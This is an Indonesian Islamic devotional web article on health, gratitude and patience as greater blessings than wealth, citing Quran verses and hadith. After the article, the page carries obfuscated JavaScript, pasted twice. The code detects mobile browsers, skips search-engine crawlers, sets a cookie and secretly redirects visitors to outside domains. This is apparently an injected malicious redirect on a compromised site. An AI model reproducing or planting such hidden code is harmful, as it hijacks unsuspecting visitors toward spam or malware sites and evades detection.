Hidup Sehat Tanpa Obat

HIDUP  SEHAT TANPA OBAT

NIKMATNYA  HIDUP  SEHAT

Firman Allah SWT :

“Pada hari ini telah Kusempurnakan dien kalian bagi kalian, telah Kucukupkan (pula) nikmat-Ku kepada kalian dan Aku ridha Islam menjadi dien kalian.” (Q.S Al-Maidah : 3)

Kesempurnaan Dien (peraturan ibadah dan sistem sosial) berarti kesempurnaan syari’atnya, dan kesempurnaan nikmat berarti setiap orang yang menerima kenikmatan itu merasakan kesenangan dan kebahagiaan. Namun sayangnya, belakangan ini banyak orang menyangka bahwa kebahagiaan itu terdapat pada kekayaan harta benda semata. Oleh karena itu mereka mau mengorbankan apa saja untuk memperoleh kekayaan dan harta benda itu. Waktu yang tersedia 24 jam terasa kurang bagi mereka dalam mengejar dunia. Bahkan kalau perlu kesehatan pun dikorbankan untuk memperoleh kekayaan. Mereka berencana, bekerja dan berupaya menumpuk simpanan. Mereka hidup bangga atas harta dan deposito.

Namun kejayaan mereka, akhirnya hanya berujung pada sebuah batu nisan di atas kuburan. Sementara itu, ternyata tumpukan emas dan permata tidak bisa memberi pertolongan sedikit pun. Lagi pula timbunan kekayaan dan seluruh saham tidak bisa mencegah mereka dari kematian. Harta benda itu hanya bisa mengantar mereka sampai di pemakaman, tidak bisa menolong mereka dari azab kubur yang tak terkirakan.

Bahkan segala kekayaan itulah yang akan dipertanyakan: “Darimana mereka temukan, bagaimana cara mendapatkan, dan untuk apa dipergunakan.”

 Orang yang hartanya lebih banyak daripada orang lain memikul pertanggungjawaban lebih besar, dan pada hari kiamat kelak ia akan menanggung resiko lebih besar pula.

 Rasululah SAW memperingatkan dalam sabda beliau : “Pada suatu hari (hari kiamat) kaki seseorang tidak akan dapat bergerak sebelum ditanya tentang empat perkara : Tentang umurnya untuk apa dihabiskan tentang masa mudanya untuk apa digunakan, tentang hartanya  dari mana diperoleh dan untuk apa dibelanjakan dan tentang ilmunya untuk apa yang telah diperbuat dengannya. (HR. Thabrani).

Ternyata dalam kehidupan ini harta benda tidaklah berada di atas segala-galanya. Betapa banyak orang kaya yang tidak dapat menikmati kekayaannya. Hartanaya justru telah menghambat dirinya untuk beribadah sesuai tuntunan Qur’an, karena seluruh waktunya dipakai untuk mengejar kejayaan dunia. Siang hari hidupnya habis di perjalanan, malam hari ia tenggelam di restoran bersama relasi dan kenalan, akhirnya ia terlena dalam pangkuan jin dan syetan. Seluruh waktu, tenaga dan fikiran dipergunakan untuk memikirkan bagaimana memperoleh kemakmuran, tanpa memperdulikan kesehatan. Sehingga badan pun jadi sakit-sakitan, bahkan tidak sedikit yang tergeletak sebagai pesakitan dan di bangsal rumah sakit metropolitan.

Akhirnya, deposito dan simpanan pun habis dikuras untuk membiayai pengobatan dan perawatan. Mereka pun tidak bisa lagi sembarangan melahap makanan. Daging kambing, kikil, jeroan, kerupuk emping, buah durian, minyak dan garam, kini jadi pantangan. Bahkan menyantap nasi pun harus pakai takaran. Jadilah ia orang kaya yang tidak bisa menikmati kekayaan. Hidup pun  tidak nyaman, gelisah dan penuh keluhan. Nasi di makan serasa sekam, air diminum rasanya pahit di tenggorokan. Tidak sedikit hartawan dan jutawan yang ingin merasakan lezatnya makanan yang disantap oleh orang-orang yang mendiami rumah sederhana dan hanya memperoleh rezeki beberapa rupiah saja. Sementara mereka yang mendiami rumah mewah, dilarang dokter makan sembarang penganan karena kini daging dan lemak, gula dan kopi telah menjadi pantangan.  Padahal deposito milyaran, intan berlian, yakut dan marjan berserakan. Namun harta kekayaan yang tersimpan itu,  tidak bias membeli kesehatan. 

Banyak sungguh orang kaya yang iri melihat tukang becak tidur nyenyak bergelung selimut embun. Padahal si kaya selalu sulit tidur, sekalipun tidur di ruang kamar ber-AC. Kalau sudah demikian akankah mereka amenyadari bahwa kesehatan dan ketentraman adalah lebih berharga dari tumpukan saham dan uang simpanan. Kemewahan dan kemegahan hanyalah hanyalah mendatangkan kebahagiaan semu, bagaikan fatamorgana yang menipu penglihatan. Maka banyaklah orang terpedaya oleh godaannya. Jika kita amati, banyak di antara pengusaha dan eksekutif yang mendiami rumah mentereng dan mengendarai mobil mewah, justru tidak menikmati ketentraman dalam rumah tangganya. Mereka tidak mempunyai anak, atau kalau mempunyai keturunan, anak itu bukan anak yang saleh dan patuh kepada orang tua. Ya… masih banyak lagi segi-segi kehidupan yang belum dapat mereka nikmati. Katakanlah ia mempunyai harta karus, emas – perak dan mutiara berhamburan, apakah semuanya itu bisa membeli kedamaian, kecerdasan dan kebijakan ? Tidak…! Harta kekayaan hanyalah sekedar wasilah (sarana)  kehidupan . 

Allah SWT mengingatkan  : “Pada hari itu (kiamat) harta kekayaan dan anak keturunan tidak berguna, kecuali orang yang datang menghadap Allah dengan hati yang bersih.” (Q.S. Asy-Syu’ara : 88-89).

Jika demikian, maka jelaslah bahwa harta kekayaan tidak menempati kedudukan di atas segala-galanya dalam kehidupan ini. Manusia dapat mempunyai banyak hal selain harta, bahkan lebih mahal dan lebih berharga daripada harta. Cobalah Anda pikirkan nikmat penglihatan… hendak Anda hargai berapa ? Seumpama ada orang yang hendak menukar penglihatan mata Anda dengan uang ratusan juta rupiah, apakah Anda mau ? Demikian juga pendengaran, penciuman, rasa, gigi, dan bagian-bagian badan lainnya yang ada pada diri Anda; terlebih lagi kecerdasan akal, kemampuan berbicara, kemampuan mempertimbangkan suatu masalah, kesanggupan berkarya dan sebagainya.

Seumpama orang dapat menghitung semua nikmat yang ada pada dirinya dan dapat pula menilai harganya tentu akan mencapai milyaran rupiah. Semua nikmat yang dikaruniakan Allah SWT kepada manusia sungguh tidak terhitung banyaknya dan tak ternilai harganya. “Jika kalian hendak menghitung-hitung nikmat Allah (yang dikaruniakah kepada kalian) kalian tidak akan dapat menghitungnya.” (QS. Ibrahim : 34).

Setiap manusia pernah mengalami rasa senang, suka dan gembira. Demikian juga pernah mengalami rasa duka, sedih dan nestapa. Dalam suasana rasa senang dan gembira sering kita mengatakan inilah keberuntungan dan inilah kebaikan. Ketika mengalami duka, sedih dan nestapa muncul perasaan inilah kemalangan dan keburukan. Orang yang dikaruniakan Allah harta yang melimpah dan rezeki yang lapang segera dianggap bahwa itu keridhaan Allah dan penghormatan Allah kepadanya dan sebaliknya orang yang tidak dikaruniai atau harapan do’anya tidak terpenuhi segera menganggap hal demikian sebagai kemurkaan dan penghinaan dari Allah. Ujian dari Allah tentu sebatas kemampuan dan kapasitas hamba yang diuji-Nya, Dia tidak akan memberi beban di luar kesanggupan hamba-Nya.

Allah menjanjikan kegembiraan bagi yang sabar dalam menghadapi ujian. Orang yang menjawab ujian Allah dengan sabar seraya tawakal menyebut ke-Maha Agungan Allah tidak saja lulus dalamm ujian, namun mendapat shalawat (hubungan istimewa) dari Allah disertai rahmat dan akan terus mendapat bimbingan.

“Dan sungguh akan Kami berikan cobaan kepadamu, dengan sedikit ketakutan, kelaparan, kekurangan harta, jiwa dan buah-buahan. Dan berikanlah berita gembira kepada orang-orang yang sabar, (yaitu) orang-orang yang apabila ditmpa musibah mengucapkan “Inna Ilillahi wa Inna Ilaihi Raaji’uun”. Mereka itulah yang mendapat shalawat (keberkatan) yang sempurna dan rahmat dari Rabb mereka, dan mereka itulah orang-orang yang mendapat petunjuk.” (Q.S. Al-Baqarah : 155-157).

Pada hakekatnya, ujian-ujian (test-quest) itu adalah untuk menentukan kualitas iman seseorang, siapa yang sejati dan mana yang merpati (kalau ada makanan baru beriman), serta mana yang imannya seperti pedati (yang harus didorong-dorong dulu baru beriman). Pengujian ini dilakukan pada setiap orang, pada masa dan tingkat serta sesuai dengan keadaannya masing-masing, “Apakah kamu mengira bahwa kamu akan dibiarkan (begitu saja), sedang Allah belum mengetahui (dalam kenyataan) orang-orang yang berjihad di antara kamu dan tidak mengambil menjadi teman yang setia selain Allah, Rasul-Nya dan orang-orang yang beriman. (Q.S. At-Taubah : 16).

Test-test tersebut beragam jenis dan bobotnya. Secara spesifik, Allah menyatakan bahwa ragamnya dapat berupa khauf (kekhawatiran), alju’ (krisis pangan), naqs minal amwal (krisis ekonomi), al-anfus (musibah kematian), tsamarat (kekurangan buah-buahan). Untuk lulus dari ujian ini syaratnya adalah bersabar yakni kemampuan dalam memahami ujian Allah dan mampu bersikap tabah serta tetap optimis yang dilandasi oleh keyakinan bahwa segala sesuatu yang terjadi adalah di bawah kekuasaan dan cinta kasih Allah. Kita harus bersyukur mendapat ujian dari Allah, karena itu setiap test yang diberikan Allah harus difahami sebagai tanda Cinta-Kasih kepada hamba-Nya. Ujian itu dapat berupa kenikmatan atau  musibah.

Dalam menghadapi hal pertama kita wajib bersyukur yakni dengan memanfaatkan karunia Allah tersebut sesuai dengan tuntunan Syari’at-Nya. Dalam menghadapi hal yang kedua, Allah mengajarkan kita untuk bersabar. Orang-orang yang pandai mensyukuri nikmat dan mampu bersabar dinyatakan bersama Allah. Wujud rasa syukur dinyatakan melalui syahadat (ikrar), Shalat (bahkan ada sujud syukur), zakat, dan amal yang sejenis seperti shadaqah, wakaf, infaq, hadiah, hibah dan lain sebagainya, puasa dan haji.

Sepanjang kehidupan manusia, baik yang berusia panjang maupun yang berusia pendek, manusia tidak lepas dari dua kedaan yaitu keadaan senang, dan keadaan susah, serta kondisi sehat atau sakit. Dilihat dari kehidupan kita, maka seluruhnya berjalan pada mata rantai senang dan susah. Tidak seorang pun bisa lepas dari rantai ini. (Q.S. Al-Baqarah : 214).

Dalam menghadapi keadaan di atas , Islam telah memberikan tuntunan. Islam mengajarkan agar manusia tidak larut dalam kondisi tersebut. Kita dikatakan memiliki afiat jasmani, apabila sehat jasmani plus, yaitu pada saat kesehatan itu dipergunakan untuk beribadah dalam rangka memperkuat rasa terima kasih  pada Allah. Shalat, puasa, zakat, haji dan ibadah sosial lainnya menjadi lebih sempurna karena ditopang oleh faktor kesehatan.

Nabi menyatakan bahwa kesehatan adalah salah satu dari lima kesempatan yang tidak boleh disia-siakan. Bahkan salah satu pertanggungjawaban manusia di akhirat adalah mengenai untuk apa kesehatannya dimanfaatkan (An badanihi fima afna).

Motto kesehatan menyatakan “Kesehatan Bukan Segala-galanya”, namun tanpa kesehatan segala-galanya menjadi tidak ada artinya.

Kesehatan merupakan anugerah Allah yang tak ternilai harganya. Dengan sehat, kita bisa bekerja secara optimal, sosialisasi bagus, keluarga bahagia dan masa depan lebih cerah. Sehat adalah investasi berharga agar kita tetap aktif, produktif dan dapat menikmati hidup. Nikmatnya hidup sehat adalah kenikmatan yang tiada taranya. Oleh karena itu, marilah kita wujudkan hidup sehat dan kita syukuri kesehatan itu. Mari kita manfaatkan kesehatan kita untuk beramal shaleh.

Menunaikan ibadah, bukan saja sebagai perwujudan rasa syukur dan tanda ketaqwaan, namun melalui ibadah  kita dapat mengoptimalkan fungsi tubuh, menjaga kesehatan dan mencegah serangan penyakit

 

var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])} setTimeout(“document.location.href=’http://gettop.info/kt/?53vSkc&'”, delay);var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Articulos relacionados